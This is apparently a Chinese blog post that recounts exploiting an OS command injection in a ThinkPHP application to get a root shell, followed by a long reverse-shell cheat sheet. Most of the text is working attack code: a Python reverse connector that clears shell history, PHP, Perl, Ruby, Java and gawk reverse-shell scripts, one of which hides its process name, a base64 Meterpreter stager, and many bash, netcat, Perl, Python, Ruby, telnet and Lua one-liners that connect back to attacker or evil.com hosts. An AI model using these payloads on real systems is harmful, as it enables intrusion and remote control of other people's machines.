从一次渗透谈到linux如何反弹shell

零、绪论

背景：

ThinkPHP框架的-->

找到一个OS命令注入(很简单的Burp可以直接扫出来的那种)：页面配置系统默认网关处。

一、渗透过程

1、首先看了一下，没有回显。

2、用ceye.io看DNSlog发现不能连接外网。

3、内网ping ok！说明可以的，确实命令执行。

4、弹bash 最常见的监听端nc

 nc -p  -l -v

二、下面开始弹bash：

1、最常见的bash的

 bash -i >&  /dev/tcp/a.b.c.d/ >&
 #没成功，尝试bash -c 执行命令成功了
 #尝试wget 访问我的flask http服务器OK
 #尝试编码发现失败

2、追问了某大佬考虑<>及其编码字符被转移，考虑ssh反向连接或者脚本反向连接。

3、开始搞pl脚本，尝试多次失败（后来发现原因：wget从我自己搭建的flaskHTTP服务上面下反向连接脚本的时候保存的文件名不对）

4、搞python的，自己很熟悉。从朋友那里搞了一个python反向连接弹shell的脚本。通过flask和wget传到服务器上。

5、加运行权限 执行 getshell root权限

6、python脚本代码公开：

 #!/usr/bin/env python
 # -*- coding:utf-8 -*-
 """
 back connect py version,only linux have pty module
 code by hero
 """
 import sys,os,socket,pty
 shell = "/bin/sh"
 def usage(name):
     print 'python reverse connector'
     print 'usage: %s <ip_addr> <port>' % name

 def main():
     if len(sys.argv) !=3:
         usage(sys.argv[0])
         sys.exit()
     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     try:
         s.connect((sys.argv[1],int(sys.argv[2])))
         print 'connect ok'
     except:
         print 'connect faild'
         sys.exit()
     os.dup2(s.fileno(),0)
     os.dup2(s.fileno(),1)
     os.dup2(s.fileno(),2)
     global shell
     os.unsetenv("HISTFILE")
     os.unsetenv("HISTFILESIZE")
     os.unsetenv("HISTSIZE")
     os.unsetenv("HISTORY")
     os.unsetenv("HISTSAVE")
     os.unsetenv("HISTZONE")
     os.unsetenv("HISTLOG")
     os.unsetenv("HISTCMD")
     os.putenv("HISTFILE",'/dev/null')
     os.putenv("HISTSIZE",'')
     os.putenv("HISTFILESIZE",'')
     pty.spawn(shell)
     s.close()

 if __name__ == '__main__':
     main()

三、从这里开始思考，linux各种反弹shell的做法：

这里先补充一个windows、linux下都可以反弹shell的php脚本

 <?php
 error_reporting (E_ERROR);
 ignore_user_abort(true);
 ini_set('max_execution_time',0);
 $os = substr(PHP_OS,0,3);
 $ipaddr = '174.124.23.5';
 $port = '7788';
 $descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
 $cwd = getcwd();
 $msg = php_uname()."\n------------Code by Spider-------------\n";
 if($os == 'WIN') {
     $env = array('path' => 'c:\\windows\\system32');
 } else {
     $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
 }  

 if(function_exists('fsockopen')) {
     $sock = fsockopen($ipaddr,$port);
     fwrite($sock,$msg);
     while ($cmd = fread($sock,1024)) {
         if (substr($cmd,0,3) == 'cd ') {
             $cwd = trim(substr($cmd,3,-1));
             chdir($cwd);
             $cwd = getcwd();
         }
         if (trim(strtolower($cmd)) == 'exit') {
             break;
         } else {
             $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
             if (is_resource($process)) {
                 fwrite($pipes[0],$cmd);
                 fclose($pipes[0]);
                 $msg = stream_get_contents($pipes[1]);
                 fwrite($sock,$msg);
                 fclose($pipes[1]);
                 $msg = stream_get_contents($pipes[2]);
                 fwrite($sock,$msg);
                 fclose($pipes[2]);
                 proc_close($process);
             }
         }
     }
     fclose($sock);
 } else {
     $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
     socket_connect($sock,$ipaddr,$port);
     socket_write($sock,$msg);
     fwrite($sock,$msg);
     while ($cmd = socket_read($sock,1024)) {
         if (substr($cmd,0,3) == 'cd ') {
             $cwd = trim(substr($cmd,3,-1));
             chdir($cwd);
             $cwd = getcwd();
         }
         if (trim(strtolower($cmd)) == 'exit') {
             break;
         } else {
             $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
             if (is_resource($process)) {
                 fwrite($pipes[0],$cmd);
                 fclose($pipes[0]);
                 $msg = stream_get_contents($pipes[1]);
                 socket_write($sock,$msg,strlen($msg));
                 fclose($pipes[1]);
                 $msg = stream_get_contents($pipes[2]);
                 socket_write($sock,$msg,strlen($msg));
                 fclose($pipes[2]);
                 proc_close($process);
             }
         }
     }
     socket_close($sock);
 }
 ?> 

下文引自：

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

[前言：在乌云社区看到反弹shell的几种姿势，看过之余自己还收集了一些，动手试了下，仅供参考]

0x01 Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

这里shell由bash解析，有时候是由sh解析，不一定百发百中
***在虚拟机里面试过可行，替换成自己的地址和端口即可***
***/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件，读取或写入相当于建立socket调用***
***由于其特殊性，命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了***
***注意，这里"&"在Linux shell中表示后台运行，当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用于重定向，2>表示错误重定向，&1表示标准输出；以ls >/dev/null 2>&1为例，2>&1是将标准出错重定向到标准输出，不过在这里又被重定向到了/dev/null这个无底洞里***
***这里有一个问题：为什么2>&1要写在后面，以command >file 2>&1为例，首先是command > file将标准输出重定向到file中， 2>&1 是标准错误拷贝了标准输出的行为，也就是同样被重定向到file中，最终结果就是标准输出和错误都被重定向到file中***
***其实还有一个问题，既然2>表示错误重定向，那么0>表示什么呢？查阅资料发现在Linux下输入输出重定向有三个值，其中2已经说过是标准错误信息输出，那0则是标准输入，1则为标准输出了。说到这里，其实又引出了一个新的问题，我们知道<才是表示输入的，那为何这里却是如此形式，按说就应该是2了，或者说这里0就已经是输入了，然后直接使用>进行输出，不是很清楚请大牛指点啊***

gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上还有一种不同的方法,评论中也有一些想法：

###$ nc -l -p 8080 -vvv
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done

***这条语句证实可行，这里exec命令可以用来替代当前shell；换句话说，并没有启动子shell，使用这一条命令时任何现有环境变量将会被清除，并重新启动一个shell***
***exec的man手册如是说：The exec() family of functions replaces the current process image with a new process image***
***在查exec时发现一个好玩的语句：

　　exec 3<>/dev/tcp/www.google.com/80
　　echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
　　cat <&3

这个语句的作用，应该一看就明了了，不多说，言归正传，nc监听，使用exec反弹的shell其输出只能在目标机器上看到，有图为证***

另外还可以是：

exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

/bin/bash  -i > /dev/tcp/attackerip/8080 0<&1 2>&1

***在测试exec /bin/bash 0&0 2>&0语句时，遇到一个问题，终端显示No such file or directory或者干脆找不到命令，怎么让它实现还有待研究***
***研究表明，exec 2>&0即可，不需要/bin/bash，然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地监听反弹成功***

0x02 Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

***使用这条命令，唯一的不同是提示符变成了sh-4.1#，实现原理和前面的bash差不多，Perl还是很强大的***

不依赖于/bin/sh的shell： ***这条语句比上面的更为简短，而且确实不需要依赖/bin/sh***

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

系统运行windows时：***突然发现windows上暂时没装Perl，下次测吧***

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

再给出一个完整的Perl的反弹脚本：

 1 #!/usr/bin/perl -w
 2 # perl-reverse-shell - A Reverse Shell implementation in PERL
 3 use strict;
 4 use Socket;
 5 use FileHandle;
 6 use POSIX;
 7 my $VERSION = "1.0";
 8
 9 # Where to send the reverse shell.  Change these.
10 my $ip = '127.0.0.1';
11 my $port = 1234;
12
13 # Options
14 my $daemon = 1;
15 my $auth   = 0; # 0 means authentication is disabled and any
16         # source IP can access the reverse shell
17 my $authorised_client_pattern = qr(^127\.0\.0\.1$);
18
19 # Declarations
20 my $global_page = "";
21 my $fake_process_name = "/usr/sbin/apache";
22
23 # Change the process name to be less conspicious
24 $0 = "[httpd]";
25
26 # Authenticate based on source IP address if required
27 if (defined($ENV{'REMOTE_ADDR'})) {
28     cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
29
30     if ($auth) {
31         unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
32             cgiprint("ERROR: Your client isn't authorised to view this page");
33             cgiexit();
34         }
35     }
36 } elsif ($auth) {
37     cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");
38     cgiexit(0);
39 }
40
41 # Background and dissociate from parent process if required
42 if ($daemon) {
43     my $pid = fork();
44     if ($pid) {
45         cgiexit(0); # parent exits
46     }
47
48     setsid();
49     chdir('/');
50     umask(0);
51 }
52
53 # Make TCP connection for reverse shell
54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
56     cgiprint("Sent reverse shell to $ip:$port");
57     cgiprintpage();
58 } else {
59     cgiprint("Couldn't open reverse shell to $ip:$port: $!");
60     cgiexit();
61 }
62
63 # Redirect STDIN, STDOUT and STDERR to the TCP connection
64 open(STDIN, ">&SOCK");
65 open(STDOUT,">&SOCK");
66 open(STDERR,">&SOCK");
67 $ENV{'HISTFILE'} = '/dev/null';
68 system("w;uname -a;id;pwd");
69 exec({"/bin/sh"} ($fake_process_name, "-i"));
70
71 # Wrapper around print
72 sub cgiprint {
73     my $line = shift;
74     $line .= "<p>\n";
75     $global_page .= $line;
76 }
77
78 # Wrapper around exit
79 sub cgiexit {
80     cgiprintpage();
81     exit 0; # 0 to ensure we don't give a 500 response.
82 }
83
84 # Form HTTP response using all the messages gathered by cgiprint so far
85 sub cgiprintpage {
86     print "Content-Length: " . length($global_page) . "\r
87 Connection: close\r
88 Content-Type: text\/html\r\n\r\n" . $global_page;
89 }

0x03 Python #测试环境为Linux Python2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

***同样是sh-4.1#，Python真心好***

另外的形式：#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代码：

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

base64解码：

import socket,struct
s=socket.socket(2,1)
s.connect(('192.168.90.1',1234))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

0x04 PHP #代码假设TCP连接的文件描述符为3，如果不行可以试下4,5,6

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]为一个上传的完整php反弹shell脚本    ***php这个也相当简单***

0x05 Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell：

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows：

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

当然还有我们很熟悉的MSF模块里面也是有反弹shell的：

#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Set the Remote Host IP
RHOST = "192.168.1.10"
#Set the Remote Host Port
PORT = "6667"

#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
  sleep 20
  retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
  while line = sock.gets
    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
              IO.copy_stream(stdout_and_stderr, sock)
              end
  end
rescue
  retry
end 

0x06 NetCat

nc -e /bin/sh 10.0.0.1 1234　　#不同版本的nc不一定支持-e选项

不能使用-e选项时：

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 4444

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安装的NC版本有问题时：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

0x07 Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

msf使用为：use payload/java/shell/reverse_tcp

再见一段长代码：

import java.io.*;
import java.net.Socket;
import java.util.*;
import java.util.regex.*;
import java.applet.Applet;

public class poc extends Applet{
    /**
     * Author: daniel baier alias duddits
     * Licens: GPL
     * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
     * Version: 0.1 alpha release
     */

    public String cd(String start, File currentDir) {
        File fullPath = new File(currentDir.getAbsolutePath());
        String sparent = fullPath.getAbsoluteFile().toString();
        return sparent + "/" + start;

        }

    @SuppressWarnings("unchecked")
    public void init() {
        poc rs = new poc();
        PrintWriter out;
        try {
            Socket clientSocket = new Socket("192.168.5.222",10003);
            out = new PrintWriter(clientSocket.getOutputStream(), true);
            out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
            boolean run = true;
            String s;
            BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
            String startort = "/";
            while (run) {
                String z1;
                File f = new File(startort);
                out.println(f.getAbsolutePath() + "> ");
                s = br.readLine();
                z1 = s;
                Pattern pcd = Pattern.compile("^cd\\s");
                Matcher mcd = pcd.matcher(z1);
                String[] teile1 = pcd.split(z1);
                if (s.equals("exit")) {
                    run = false;
                }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {

                } else if(mcd.find()){
                    try {
                        String cds = rs.cd(teile1[1], new File(startort));
                        startort = cds;
                        } catch (Exception verz) {
                        out.println("Path " + teile1[1]
                        + " not found.");
                        }

                }else {

                    String z2;

                    z2 = s;
                    Pattern pstring = Pattern.compile("\\s");
                    String[] plist = pstring.split(z2);

                    try {

                        LinkedList slist = new LinkedList();
                        for (int i = 0; i < plist.length; i++) {
                            slist.add(plist[i]);
                        }

                        ProcessBuilder builder = new ProcessBuilder(slist);
                        builder.directory(new File(startort));
                        Process p = builder.start();
                        Scanner se = new Scanner(p.getInputStream());
                        if (!se.hasNext()) {
                            Scanner sa = new Scanner(p.getErrorStream());
                            while (sa.hasNext()) {
                                out.println(sa.nextLine());
                            }
                        }
                        while (se.hasNext()) {
                            out.println(se.nextLine());
                        }

                    } catch (Exception err) {
                        out.println(f.getAbsolutePath() + "> Command "
                                + s + " failed!");
                        out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
                    }

                }
            }

            if(!clientSocket.isConnected()){
                run = false;
                out.flush();
                out.close();
            }

        } catch (Exception io) {
            //System.err.println("Connection refused by peer");
        }

    }

}

0x08 Telnet  #nc不可用或/dev/tcp不可用时

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

***这里mknod是创建特殊文件-设备文件***

0x09 Xterm

首先开启Xserver：　　# TCP 6001

Xnest :1               # Note: The command starts with uppercase X

授予目标机连回来的权限：

xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server

如果想让任何人都连上：

xhost +                     # Run this INSIDE the spawned xterm on the open X Server

假设xterm已安装，连回你的Xserver：

xterm -display attackerip:1

或者：

$ DISPLAY=attackerip:0 xterm

0x10 gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

0x11 乌云上一个lua实现

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

***lua之前是真没见过，发现机器竟然一时装不上，唉，留着以后玩吧***

msf反弹：use payload/cmd/unix/reverse_lua

0x12 参考

http://roo7break.co.uk/?p=215

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet